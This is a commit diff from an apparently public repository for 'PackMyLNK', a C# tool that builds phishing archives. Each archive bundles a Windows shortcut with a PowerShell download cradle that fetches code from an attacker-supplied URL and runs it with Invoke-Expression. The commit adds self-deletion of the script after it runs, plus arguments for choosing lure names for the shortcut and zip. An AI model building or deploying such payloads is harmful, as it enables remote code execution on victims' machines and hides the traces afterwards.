Skip to content

Commit 101deca

Browse files
authored
Update Program.cs
- Now the script delete itself after the execution - New arguments from command lines
1 parent 8c9cba4 commit 101deca

File tree

1 file changed

+37
-11
lines changed

1 file changed

+37
-11
lines changed

Program.cs

Lines changed: 37 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,44 @@ class Program
55
{
66
static void Main(string[] args)
77
{
8-
if (args.Length < 2)
8+
if (args.Length < 6)
99
{
10-
Console.WriteLine("Usage: .\\PackMyLNK.exe -Url <URL>");
10+
Console.WriteLine("Usage: .\\PackMyLNK.exe -Url <URL> -Lnk <LNK_FILE> -Zip <ZIP_file>");
11+
return;
12+
}
13+
14+
string url = null;
15+
string lnkName = null;
16+
string zipFile = null;
17+
18+
for (int i = 0; i < args.Length; i++)
19+
{
20+
if (args[i] == "-Url" && i + 1 < args.Length)
21+
{
22+
url = args[i + 1];
23+
}
24+
else if (args[i] == "-Lnk" && i + 1 < args.Length)
25+
{
26+
lnkName = args[i + 1];
27+
}
28+
else if (args[i] == "-Zip" && i + 1 < args.Length)
29+
{
30+
zipFile = args[i + 1];
31+
}
32+
}
33+
34+
if (url == null || lnkName == null || zipFile == null)
35+
{
36+
Console.WriteLine("Usage: .\\PackMyLNK.exe -Url <URL> -Lnk <LNK_FILE> -Zip <ZIP_file>");
1137
return;
1238
}
1339

14-
string url = args[1];
1540
string curDir = AppDomain.CurrentDomain.BaseDirectory;
16-
string lnkFilePath = Path.Combine(curDir, "Readme.lnk");
41+
string lnkFilePath = Path.Combine(curDir, lnkName + ".lnk");
1742
string ps1FilePath = Path.Combine(curDir, "backup.txt");
18-
string zipFilePath = Path.Combine(curDir, "Readme.zip");
43+
string zipFilePath = Path.Combine(curDir, zipFile + ".zip");
44+
45+
Console.ForegroundColor = ConsoleColor.Cyan;
1946

2047
Console.WriteLine(@"
2148
_____ _ __ __ _ _ _ _ __
@@ -26,14 +53,13 @@ _____ _ __ __ _ _ _ _ __
2653
|_| \__,_|\___|_|\_\_| |_|\__, |______|_| \_|_|\_\
2754
__/ |
2855
|___/
29-
calfcrusher@inventati.org
56+
57+
A simple .zip packer for LNK files - calfcrusher@inventati.org
3058
");
3159

32-
33-
Console.WriteLine("PackMyLNK - A simple .zip packer for LNK files");
34-
Console.WriteLine();
60+
Console.ResetColor();
3561
Console.WriteLine();
36-
string psContent = $"Invoke-Expression -Command ([Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri '{url}' -UseBasicParsing).Content))";
62+
string psContent = $"Invoke-Expression -Command ([Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri '{url}' -UseBasicParsing).Content));Remove-Item $MyInvocation.MyCommand.Definition -Force";
3763

3864
File.WriteAllText(ps1FilePath, psContent);
3965

@@ -44,7 +70,7 @@ _____ _ __ __ _ _ _ _ __
4470
CreateZip(zipFilePath, new[] { lnkFilePath, ps1FilePath });
4571

4672
Console.ForegroundColor = ConsoleColor.Green;
47-
Console.WriteLine("ZIP file created: " + zipFilePath);
73+
Console.WriteLine("[+] ZIP file created: " + zipFilePath);
4874
Console.ResetColor();
4975

5076

0 commit comments

Comments
 (0)